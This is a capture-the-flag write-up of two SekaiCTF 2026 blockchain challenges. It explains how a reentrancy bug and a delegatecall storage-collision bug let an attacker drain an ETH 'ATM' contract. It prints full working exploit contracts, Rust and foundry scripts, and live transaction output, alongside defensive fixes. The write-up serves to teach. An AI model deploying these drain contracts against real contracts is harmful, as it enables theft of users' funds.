SekaiCTF 2026 had a two-part blockchain chain called PP Farming, and I ended up doing both back to back with lil-l3ak. Finished 33rd/926. I do DFIR mostly , WEB3 was a nice change of pace this time.
Scoreboard mid-event, team lil-l3ak, 33rd/926.
Both parts deploy a PerformancePointATM contract,
donate ETH into a personal score, withdraw it back out later.
Part one is basically a warm-up. Part two takes the exact
same contract, patches the obvious bug, and hides a worse one
right behind the patch, which honestly is the more
interesting design decision here lol
Kept the SWC registry open the whole time too, basically a CVE database for smart contract bug classes if you haven't used it before.
Part 1: PP Farming, classic reentrancy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract PerformancePointATM {
mapping(address => uint256) public scores;
constructor() payable {
}
function donatePP(address _to) public payable {
scores[_to] = scores[_to] + msg.value;
}
function checkPP(address _who) public view returns (uint256 score) {
return scores[_who];
}
function withdrawPP() public {
uint256 score = scores[msg.sender];
require(score > 0, "Nothing to withdraw");
(bool result, ) = msg.sender.call{value: score}("");
require(result, "Transfer failed");
scores[msg.sender] = 0;
}
function isSolved() view public returns (bool) {
return address(this).balance == 0;
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IPerformancePointATM {
function donatePP(address _to) external payable;
function withdrawPP() external;
}
contract Exploit {
IPerformancePointATM public target;
uint256 public count;
constructor(address _target) {
target = IPerformancePointATM(_target);
}
function attack() external payable {
require(msg.value >= 1 ether, "need 1 ether seed");
count = 0;
target.donatePP{value: msg.value}(address(this));
target.withdrawPP();
}
receive() external payable {
if (address(target).balance > 0 && count < 20) {
count++;
target.withdrawPP();
}
}
function drain(address payable to) external {
to.transfer(address(this).balance);
}
}
// PP Farming: reentrancy exploit.
// withdrawPP sends ETH before zeroing scores[msg.sender] (SWC-107).
// Exploit::attack seeds a score then reenters withdrawPP from receive()
// until the ATM is dry.
//
// deps: ethers = { version = "2", features = ["abigen"] }, tokio = { version = "1", features = ["full"] }, eyre = "0.6"
use ethers::prelude::*;
use ethers::utils::{format_ether, parse_ether};
use eyre::Result;
use std::sync::Arc;
abigen!(
Exploit,
r#"[constructor(address _target) function attack() external payable function drain(address to) external]"#
);
const RPC_URL: &str = "http://REPLACE_RPC";
const PLAYER_KEY: &str = "REPLACE_PRIVKEY";
const ATM_ADDR: &str = "REPLACE_ATM";
#[tokio::main]
async fn main() -> Result<()> {
let provider = Provider::<Http>::try_from(RPC_URL)?;
let wallet: LocalWallet = PLAYER_KEY.parse::<LocalWallet>()?.with_chain_id(1u64);
let client = Arc::new(SignerMiddleware::new(provider, wallet.clone()));
let atm: Address = ATM_ADDR.parse()?;
println!("player {:?}", wallet.address());
println!("balance {} ETH", format_ether(client.get_balance(wallet.address(), None).await?));
println!("atm bal {} ETH", format_ether(client.get_balance(atm, None).await?));
let exploit = Exploit::deploy(client.clone(), atm)?.send().await?;
println!("exploit deployed at {:?}", exploit.address());
exploit.attack().value(parse_ether("1")?).send().await?.await?;
exploit.drain(wallet.address()).send().await?.await?;
println!("atm bal now {} ETH", format_ether(client.get_balance(atm, None).await?));
Ok(())
}
First pass on the handout: donatePP,
checkPP, withdrawPP,
isSolved. Only one of those moves ETH
out, withdrawPP, so that's the one
worth reading closely.
It's a tiny bank: deposit ETH into a score for some address,
withdraw it back out later. Full contract:
contract PerformancePointATM {
mapping(address => uint256) public scores;
function donatePP(address _to) public payable {
scores[_to] = scores[_to] + msg.value;
}
function withdrawPP() public {
uint256 score = scores[msg.sender];
require(score > 0, "Nothing to withdraw");
(bool result, ) = msg.sender.call{value: score}("");
require(result, "Transfer failed");
scores[msg.sender] = 0;
}
function isSolved() view public returns (bool) {
return address(this).balance == 0;
}
receive() external payable {}
}
Read withdrawPP() line by line, bc this is where
the bug lives:
- Look up how much ETH
msg.senderis owed. - Make sure it's more than zero.
- Send that ETH out with
.call{value: score}(""). - Only after the send succeeds, set the score back to zero.
Sm things to know is that in Solidity, a
.call that sends ETH to an address doesn't just move
money silently. If the recipient is a smart contract, that
.call actually executes code on the
recipient's side before returning control back to
withdrawPP(). If the recipient contract's code, running
during that window, calls withdrawPP() again, the
function sees the score is still nonzero (step 4 hasn't run yet) and
happily sends the ETH out a second time. And a third. And so on,
until the ATM's balance can't cover another payout.
Worth explaining why .call is even allowed to do this.
Solidity's older transfer() and send()
hard-capped the callee at 2300 gas, just enough to log an event,
nowhere near enough to make another external call. That gas ceiling
made reentrancy basically impossible in practice. Then
EIP-1884
(Istanbul, 2019) repriced SLOAD from 200 to 800 gas,
and suddenly 2300 gas wasn't enough for some completely innocent
receive() functions. Contracts that only wanted to log
a balance update were reverting. The community dropped
transfer() and send() and moved to
.call{value: x}(""), which forwards all remaining gas
and never reverts on the sender's behalf. Safer for delivery, worse
for reentrancy. This contract uses .call and doesn't
zero the balance first, so it gets both downsides.
This bug class has a name as well :
reentrancy (SWC-107),
the same bug class behind
the 2016 DAO hack.
The fix has a name too:
checks-effects-interactions (CEI).
SO do your checks (require statements), then your
effects (state changes like zeroing the score), and only then
your interactions (external calls). This contract does checks,
then interaction, then effects. Effects and interaction are
swapped, and that's the bug. OpenZeppelin's
ReentrancyGuard
is the standard off-the-shelf fix for this in production code.
To exploit it we need a
contract that, when it receives ETH, calls
withdrawPP() again on every incoming transfer.
Solidity's receive() fires automatically when a
contract receives plain ETH with no calldata. Our hook:
contract Exploit {
IPerformancePointATM public target;
uint256 public count;
constructor(address _target) {
target = IPerformancePointATM(_target);
}
function attack() external payable {
require(msg.value >= 1 ether, "need 1 ether seed");
target.donatePP{value: msg.value}(address(this));
target.withdrawPP();
}
receive() external payable {
if (address(target).balance > 0 && count < 20) {
count++;
target.withdrawPP();
}
}
function drain(address payable to) external {
to.transfer(address(this).balance);
}
}
Full call stack for a single attack() transaction:
Let $B_i$ be the ATM balance after $i$ re-entrant withdrawals,
$d = 1\ \text{ETH}$ the seed:
$$B_0 = 10\ \text{ETH}, \quad B_{i+1} = B_i - d$$
Zero after $B_0 / d = 10$ frames. The
count < 20 cap guards against hitting the EVM's
call stack depth limit (1024) on a bigger target.
lets try to understand what happens now
-
donatePP{value: msg.value}(address(this))credits this exploit contract's own address with a score equal to whatever ETH we sent in (1 ether). Nowscores[exploitContract] == 1 etheron the ATM. -
target.withdrawPP()makes the ATM look up our score (1 ether), then send it to us via.call. -
Because we're a contract and we just received plain ETH, our
receive()fires automatically, before the ATM'swithdrawPP()has finished running. It's still sitting on the line right after the.call, about to zero our score. But it hasn't zeroed it yet. -
Our
receive()sees the ATM still has a balance and our re-entry counter is under the cap, so it callstarget.withdrawPP()again. The ATM checks our score, still 1 ether since it was never zeroed, and pays us again. -
This repeats: every payout triggers
receive(), which triggers another withdrawal, which triggers another payout. Thecount < 20guard just stops us from looping forever once the ATM genuinely runs dry (each.callto an empty balance would revert without it, though realistically the ATM's balance hits zero and therequire(score > 0)on any further stray call would fail first).
One attack() call, 10 internal withdrawals, ATM
drained. Below is the live run against the instance, using
foundry (forge + cast).
A "wallet" is just a keypair: a private key (secret, like a password) and a public address (like an account number, safe to share). RPC is the URL your tools use to talk to the blockchain, think of it as the server address. "Gas" is the fee you pay in ETH to get a transaction included in a block, basically a processing fee. "Deploying a contract" means uploading code to the chain, after which it lives at its own address and anyone can call its functions. Every action below either reads data off-chain for free (cast call,cast balance) or writes by sending a real transaction that costs a little gas (cast send,forge create).
Step 1, set up your environment and sanity-check
the starting state.
cast wallet address derives your public address from
the private key the challenge gave you (never share this key
outside the challenge), and cast balance just reads
an account's ETH balance off the chain.
cd blockchain_pp-farming
export RPC_URL="https://eth.chals.sekai.team/<instance-id>/main"
export PK="<player private key>"
export ATM_ADDR="0x9e4b129391FC12248888f79d460Ee8Fe45405847"
PLAYER=$(cast wallet address --private-key $PK)
echo "Player: $PLAYER"
cast balance $PLAYER --rpc-url $RPC_URL --ether
cast balance $ATM_ADDR --rpc-url $RPC_URL --ether
Player: 0xC5FF8f52cc2D1889fA57e23483ba04CBFd5FD7D3
1000.000000000000000000
10.000000000000000000
The player wallet is funded with 1000 test ETH (plenty for gas and
the 1 ether seed donation), and the ATM sits at 10 ETH. That 10 ETH
is our target, isSolved() only flips true once
the ATM's balance hits exactly zero.
Step 2, compile and deploy the exploit
contract. forge build compiles every
.sol file in the project and catches syntax/type
errors before we spend gas. forge create then
deploys a specific contract to the chain, here we deploy
Exploit, passing the ATM's address as the constructor
argument.
forge build
forge create --rpc-url $RPC_URL --private-key $PK --broadcast \
src/Exploit.sol:Exploit --constructor-args $ATM_ADDR
Deployer: 0xC5FF8f52cc2D1889fA57e23483ba04CBFd5FD7D3
Deployed to: 0x140DA5fD33cCF31b89Ce8107906a4c4dACDf35D9
Transaction hash: 0x76020dd47db36d793dbea06ebc2bab197effb1a0f0248439f0eaa73a4d0747b1
Save that Deployed to address, that's our
attacker contract.
Step 3, fire the attack.
cast send submits a real transaction that calls a
function and waits for it to be mined. We're calling
attack() and attaching 1 ether via
--value 1ether, which becomes msg.value
inside the contract, that's the seed donation the exploit
needs before it can start withdrawing.
export EXPLOIT="0x140DA5fD33cCF31b89Ce8107906a4c4dACDf35D9"
cast send $EXPLOIT 'attack()' --value 1ether --rpc-url $RPC_URL --private-key $PK
blockNumber 3
gasUsed 156830
status 1 (success)
transactionHash 0x9b98a37e80f5ea30fd915398a20f6f440252524a27b96a5dccd5fc5668a4bbd0
to 0x140DA5fD33cCF31b89Ce8107906a4c4dACDf35D9
status 1 (success) means the whole chain of internal
calls (donate, withdraw, re-enter, withdraw, re-enter, and so on)
completed without reverting. All of that happened
inside this single transaction; there was no need to send a
separate transaction per re-entry, because reentrancy attacks
unfold entirely within the call stack of one outer transaction.
.
Now lets read the chain state back to prove it worked.
cast balance $ATM_ADDR --rpc-url $RPC_URL --ether
cast call $ATM_ADDR "isSolved()(bool)" --rpc-url $RPC_URL
0.000000000000000000
true
The ATM's balance went from 10 ETH to exactly 0, and
isSolved() confirms it. It's a read-only
view function, so cast call (not
cast send) is enough since it costs no gas and
changes no state.
SEKAI{3Z_re3ntr4ncy_atTack5}
| Block | Tx hash | Action |
|---|---|---|
| 2 | 0x76020dd4…747b1 | Deploy Exploit contract |
| 3 | 0x9b98a37e…a4bbd0 | attack(): donate 1 ETH, recursive withdrawPP() loop, ATM 10 → 0 ETH |
Part 2: PP Farming 2, the sequel patches reentrancy, not the real bug
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract PerformancePointHelper{
uint256 id_number;
address public atm;
bool public helping;
constructor() {
id_number = 0;
helping = true;
}
function processWithdrawal(address payable recipient, uint256 amount) external returns (bool) {
(bool success, ) = recipient.call{value: amount}("");
return success;
}
function setATM(address _atm) public {
atm = _atm;
}
function stopHelping() public {
helping = false;
}
function startHelping() public {
helping = true;
}
}
contract PerformancePointATM {
mapping(address => uint256) public scores;
address public performancePointHelper;
bool public locked;
constructor(address _performancePointHelper) payable {
performancePointHelper = _performancePointHelper;
}
modifier noReentrancy() {
require(!locked, "Reentrancy detected");
locked = true;
_;
locked = false;
}
function donatePP(address _to) public payable {
scores[_to] = scores[_to] + msg.value;
}
function checkPP(address _who) public view returns (uint256 score) {
return scores[_who];
}
function withdrawPP() public noReentrancy {
uint256 score = scores[msg.sender];
require(score > 0, "Nothing to withdraw");
// Uses delegatecall to helper for withdrawal
(bool success, ) = performancePointHelper.delegatecall(
abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
);
require(success, "Transfer failed");
scores[msg.sender] = 0;
}
function isSolved() view public returns (bool) {
return address(this).balance == 0;
}
receive() external payable {}
// Calls proxy contract
fallback() external payable {
address _impl = performancePointHelper;
bytes4 selector = msg.sig;
// Block withdrawing without proxy
bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
require(selector != initSelector, "processWithdrawal blocked");
assembly {
let ptr := mload(0x40) // Get free memory pointer
calldatacopy(ptr, 0, calldatasize()) // Copy calldata to memory
let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) // Delegatecall
returndatacopy(ptr, 0, returndatasize()) // Copy return data
if iszero(success) {
revert(ptr, returndatasize()) // Revert if delegatecall failed
}
return(ptr, returndatasize()) // Return data if successful
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract EvilHelper {
// runs in ATM storage context via delegatecall
function processWithdrawal(address payable recipient, uint256 amount) external returns (bool) {
(bool s, ) = recipient.call{value: address(this).balance}("");
return s;
}
}
// PP Farming 2: storage-collision exploit via delegatecall hijack.
// PerformancePointHelper::atm and PerformancePointATM::performancePointHelper
// both sit at storage slot 1. fallback() delegatecalls anything except
// processWithdrawal into the helper, so setATM(evil) silently repoints the
// ATM's own storage. noReentrancy never fires, this isn't reentrant.
//
// deps: ethers = { version = "2", features = ["abigen"] }, tokio = { version = "1", features = ["full"] }, eyre = "0.6"
use ethers::prelude::*;
use ethers::utils::{format_ether, parse_ether};
use eyre::Result;
use std::sync::Arc;
abigen!(
Atm,
r#"[function donatePP(address) external payable function withdrawPP() external function isSolved() external view returns (bool) function performancePointHelper() external view returns (address) function setATM(address) external]"#
);
abigen!(EvilHelper, r#"[constructor()]"#);
const RPC_URL: &str = "http://REPLACE_RPC";
const PLAYER_KEY: &str = "REPLACE_PRIVKEY";
const ATM_ADDR: &str = "REPLACE_ATM";
#[tokio::main]
async fn main() -> Result<()> {
let provider = Provider::<Http>::try_from(RPC_URL)?;
let wallet: LocalWallet = PLAYER_KEY.parse::<LocalWallet>()?.with_chain_id(1u64);
let client = Arc::new(SignerMiddleware::new(provider, wallet.clone()));
let atm = Atm::new(ATM_ADDR.parse::<Address>()?, client.clone());
println!("legit helper: {:?}", atm.performance_point_helper().call().await?);
let evil = EvilHelper::deploy(client.clone(), ())?.send().await?;
println!("evil helper deployed at {:?}", evil.address());
atm.set_atm(evil.address()).send().await?.await?;
println!("hijacked helper: {:?}", atm.performance_point_helper().call().await?);
atm.donate_pp(wallet.address()).value(parse_ether("0.01")?).send().await?.await?;
atm.withdraw_pp().send().await?.await?;
println!("solved: {}", atm.is_solved().call().await?);
Ok(())
}
Same as part one, diff the interface against what I
alr knew before reading a single line of logic. New stuff
here is that performancePointHelper, locked,
a whole second contract (PerformancePointHelper),
and a fallback() I didn't ask for. An unexpected
catch-all handler is exactly the kind of thing that gets
flagged in an incident review, it's basically a shell listener
nobody remembers configuring. That's where I looked first,
but let's rewind a second, because my actual first move was
dumber than that.
First thing I tried was just replaying the part-one reentrancy
attack against this contract. Obv it reverted with
"Reentrancy detected", so that's dead, there's a
noReentrancy modifier on withdrawPP()
now that flips a locked boolean on entry and
refuses to run again while it's set. Fine, expected ig,
once I actually read the rest of the contract it was
obvious they'd introduced something worse while trying to
look more secure.
contract PerformancePointHelper {
uint256 id_number;
address public atm;
bool public helping;
function processWithdrawal(address payable recipient, uint256 amount) external returns (bool) {
(bool success, ) = recipient.call{value: amount}("");
return success;
}
function setATM(address _atm) public { atm = _atm; }
function stopHelping() public { helping = false; }
function startHelping() public { helping = true; }
}
contract PerformancePointATM {
mapping(address => uint256) public scores;
address public performancePointHelper;
bool public locked;
modifier noReentrancy() {
require(!locked, "Reentrancy detected");
locked = true;
_;
locked = false;
}
function withdrawPP() public noReentrancy {
uint256 score = scores[msg.sender];
require(score > 0, "Nothing to withdraw");
(bool success, ) = performancePointHelper.delegatecall(
abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
);
require(success, "Transfer failed");
scores[msg.sender] = 0;
}
fallback() external payable {
address _impl = performancePointHelper;
bytes4 selector = msg.sig;
bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
require(selector != initSelector, "processWithdrawal blocked");
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
returndatacopy(ptr, 0, returndatasize())
if iszero(success) { revert(ptr, returndatasize()) }
return(ptr, returndatasize())
}
}
}
Two things worth nailing down before the exploit makes sense.
First, delegatecall. I remembered the gist but
double-checked against
the Solidity docs
to be sure: a normal external call (like msg.sender.call
in part one) runs the target's code in the target's own
storage. delegatecall doesn't, it runs the
target's code but keeps executing against the caller's
storage, like the target's functions got copy-pasted straight
into the caller. This is the whole mechanism behind
upgradeable proxy patterns: a thin proxy holds all the state,
delegates its logic to a separate implementation contract that
can get swapped out later. Here, withdrawPP()
uses it to hand the actual transfer off to
performancePointHelper, presumably so the ATM's
core logic can call out to a "trusted" payout module without
duplicating the transfer code.
delegatecall addresses storage by slot
number, not by variable name.
Formally, given two contracts $A$ and $B$ with layouts
$$A:\ \text{slot}_0 \to v_0^A,\quad \text{slot}_1 \to v_1^A,\quad \ldots$$
$$B:\ \text{slot}_0 \to v_0^B,\quad \text{slot}_1 \to v_1^B,\quad \ldots$$
a delegatecall from $A$ into $B$ that emits
sstore(k, x) writes $x$ into $\text{slot}_k$ of
$A$'s storage, trampling $v_k^A$ regardless of what
$v_k^B$ was supposed to be. Solidity's compiler never validates
that the two contracts agree on what lives at slot $k$.
This has a name: storage collision. And it has a
body count.
The
Parity multisig hack in 2017
lost around $30M to this exact mechanism. Their wallet library had
an initWallet() function that was supposed to be called
once during setup. Because the wallet used delegatecall
into the library, and because nobody protected initWallet()
after the initial deploy, any stranger could call it, overwrite the
owner slot in the wallet's storage, and take over. They just didn't
track what slot owner landed on in both contracts.
Second, fallback(). This is
the function Solidity runs
when a call comes in for a selector the contract doesn't
recognize. The authors used it to build a mini-proxy: any
unrecognized call to the ATM gets forwarded, via
delegatecall, into whatever
performancePointHelper currently points at,
except one selector, processWithdrawal(address,uint256),
which gets explicitly blocked so nobody bypasses the score
check by calling it directly. It's the same fallback +
delegatecall pattern real minimal proxies use, see
OpenZeppelin's Proxy.sol
for what the production version looks like.
Okay, so that blocklist is exactly one selector wide. Every
other function on PerformancePointHelper,
setATM, stopHelping,
startHelping, is still reachable straight through
the ATM's fallback. But I didn't clock the
actual bug until I remembered what delegatecall
does to storage: it runs the helper's code against the
ATM's own storage. So what does setATM(address _atm)
actually write to, when it's running in that context and not
its own? Hmmm
Had to pull up how Solidity lays out storage to answer that properly. State variables get storage slots in declaration order, starting from slot 0. Lined up both contracts side by side:
| Slot | PerformancePointATM (caller) | PerformancePointHelper (callee) |
|---|---|---|
| 0 | mapping scores | uint256 id_number |
| 1 | address performancePointHelper | address atm |
| 2 | bool locked | bool helping |
The industry answer to this is EIP-1967, which OpenZeppelin's upgradeable proxy uses. Instead of declaring the implementation address as a normal variable (which would land at some small, predictable slot number), EIP-1967 derives the slot from a hash:
bytes32 constant IMPL_SLOT =
bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
// = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
Nothing in normal Solidity code ever declares a variable at that
address. The pointer is written there directly via low-level
sstore, invisible to the Solidity layout engine.
For an attacker to collide with it they'd need to find a declared
variable that hashes to 0x360894..., which is a
Keccak-256 preimage problem. The ATM just uses
address public performancePointHelper, slot 1,
first-come-first-served.
So, the helper's atm variable sits at slot
1, and the ATM's own performancePointHelper pointer
also sits at slot 1. Solidity storage doesn't know or care about
variable names. It's just numbered slots, and
delegatecall makes the callee's code write into the
caller's slots. So when setATM(_atm) executes
atm = _atm while delegatecalled from the ATM, it is,
byte for byte, the same operation as writing to the ATM's
performancePointHelper. This is a
storage collision: two contracts sharing storage
via delegatecall must agree on their slot layout, or writes meant
for one variable land on a completely different one.
Putting it together: ATM.setATM(evilAddress) is
callable by anyone, with no permission check, and it silently
repoints the ATM's real performancePointHelper at
whatever address we choose. From that point on, every
withdrawPP() call delegatecalls into our
contract instead of the legitimate helper.
So my idea was to deploy a malicious helper that ignores the
amount parameter it's given and just steals
everything, then use setATM to swap it in.
contract EvilHelper {
// runs in ATM storage context via delegatecall
function processWithdrawal(address payable recipient, uint256 amount) external returns (bool) {
(bool s, ) = recipient.call{value: address(this).balance}("");
return s;
}
}
Notice address(this).balance, inside a
delegatecall, this still refers to the caller (the
ATM), not the contract whose code is running. So
address(this).balance is the ATM's full ETH balance,
and we forward all of it to recipient regardless of
what the legitimate amount argument said. Also worth
noting: the noReentrancy guard the challenge added
is completely irrelevant to this attack. We never call
withdrawPP() a second time from inside itself.
We call it exactly once, normally, and it happens to delegatecall
into code we control. The guard was built to stop the part-one
attack; it does nothing against a hijacked delegatecall target.
Same as part one, this is a real run against the live instance,
Step 0, set up env vars and confirm the starting
state. Same idea as part one: know your balances and
the ATM's current wiring before touching anything. We also
check performancePointHelper() and
locked() up front, that's the "before" picture
we're about to change.
cd blockchain_pp-farming-2
export RPC_URL="https://eth.chals.sekai.team/<instance-id>/main"
export PK="<player private key>"
export ATM_ADDR="0x71364db63C1690034a82C87271Ef4E77c356850A"
PLAYER=$(cast wallet address --private-key $PK)
echo "Player: $PLAYER"
cast balance $PLAYER --rpc-url $RPC_URL --ether
cast balance $ATM_ADDR --rpc-url $RPC_URL --ether
cast call $ATM_ADDR "performancePointHelper()(address)" --rpc-url $RPC_URL
cast call $ATM_ADDR "locked()(bool)" --rpc-url $RPC_URL
Player: 0xa12A0B56AD1A7A814180F0f984aB53F9D4071AA7
1000.000000000000000000
10.000000000000000000
0x074D594A86Fd354B09C860e0254c645aAf5A66e3
false
1000 ETH to spend on gas, ATM funded with 10 ETH just like part
one, the legitimate helper is deployed at
0x074D...a66e3, and locked is
false, the noReentrancy guard is
currently open, as expected between transactions.
Step 1, deploy the malicious helper.
Same forge create as before. The contract lands on
chain at its own address but isn't wired into anything yet.
forge create --rpc-url $RPC_URL --private-key $PK --broadcast \
src/Evil.sol:EvilHelper
Deployer: 0xa12A0B56AD1A7A814180F0f984aB53F9D4071AA7
Deployed to: 0xb77292E167831C731082e184b83b200F9Fadb21C
Transaction hash: 0xd0f28086332b9ece789eada02f106ebc973b97b7dc84667271f650e7a0a126ca
Step 2, hijack performancePointHelper
via the unauthenticated fallback. Calling
setATM(address) on the ATM hits no known selector,
so fallback() picks it up and delegatecalls it into
the helper. That write lands on slot 1 of the ATM's own storage,
overwriting performancePointHelper.
export EVIL="0xb77292E167831C731082e184b83b200F9Fadb21C"
cast send $ATM_ADDR "setATM(address)" $EVIL --rpc-url $RPC_URL --private-key $PK
# verify the hijack worked
cast call $ATM_ADDR "performancePointHelper()(address)" --rpc-url $RPC_URL
status 1 (success)
transactionHash 0x663dadf5e4c6363528bb567e2b718483c06752373d8fe5b1d70a8a987d7d90e8
to 0x71364db63C1690034a82C87271Ef4E77c356850A
0xb77292E167831C731082e184b83b200F9Fadb21C
Confirmed: performancePointHelper() now returns
our EvilHelper address instead of the original
0x074D...a66e3. We did this with one plain call,
no exploit contract needed, because the vulnerable write path
is reachable directly through the ATM's own fallback.
Step 3, seed a nonzero score.
withdrawPP() still checks
require(score > 0) before doing anything, so we need
sm balance recorded for our own address. A tiny
donation is enough, the amount doesn't matter anymore since
EvilHelper ignores it and drains everything
regardless.
cast send $ATM_ADDR "donatePP(address)" $PLAYER \
--value 0.01ether --rpc-url $RPC_URL --private-key $PK
status 1 (success)
transactionHash 0x142bb94e48f3ec719cd8407ed02ebbeaf4a1adc510e627d674a63090c12ef814
Step 4, withdraw. This is a completely
ordinary call to withdrawPP(). The only difference is
that performancePointHelper now points at our
contract, so the delegatecall inside it runs our
processWithdrawal, which drains the entire ATM
balance to us instead of just our 0.01 ether score.
cast send $ATM_ADDR "withdrawPP()" --rpc-url $RPC_URL --private-key $PK
cast balance $ATM_ADDR --rpc-url $RPC_URL --ether
cast call $ATM_ADDR "isSolved()(bool)" --rpc-url $RPC_URL
status 1 (success)
transactionHash 0x3766a46689c81af98f6e787c6780fdbf3d8328d56e0cad60a758f3f19faad7e0
0.000000000000000000
true
ATM balance went from 10 ETH to exactly 0, and
isSolved() returns true, the same
success condition as part one, reached through a completely
different bug class: not by calling withdrawPP()
a hundred times, but by redirecting where its one legitimate
call to delegatecall actually goes. Flag:
SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}
Artifact trail, part two. This one's a better
incident write-up exercise than part one, because on its own
every single transaction below looks completely benign. No
function reverted, no gas spike, no obviously malicious
selector. The only "IOC" is the state diff on
performancePointHelper between transaction 2 and
transaction 3, which is invisible unless you're specifically
watching that storage slot:
| Block | Tx hash | Action | State change |
|---|---|---|---|
| 3 | 0xd0f28086…a126ca | Deploy EvilHelper | none yet, inert code on chain |
| 4 | 0x663dadf5…d90e8 | setATM(evilHelper) via fallback | performancePointHelper: 0x074D…a66e3 → 0xb772…db21C |
| 5 | 0x142bb94e…ef814 | donatePP(self, 0.01 ETH) | scores[self]: 0 → 0.01 ETH |
| 6 | 0x3766a466…faad7e0 | withdrawPP() | ATM balance: 10 → 0 ETH |
The root cause here is the same shape as
SWC-112, delegatecall to untrusted callee,
and the classic
unstructured-proxy storage collision
bug class that's bitten real upgradeable-proxy deployments in
production. OpenZeppelin's
unstructured storage pattern
exists specifically to avoid this class of bug in real proxies.
Any time delegatecall crosses a contract boundary,
the two storage layouts have to agree byte for byte, or whoever
controls the callee's write path effectively controls the
caller's state.
Takeaways
do effects before interactions, or
use a reentrancy guard. Part two shows why the guard alone isn't
enough. If the "safe" withdrawal path is itself a
delegatecall into a swappable address, and that address
is swappable through a side door with no auth, the reentrancy fix is
solving the wrong problem.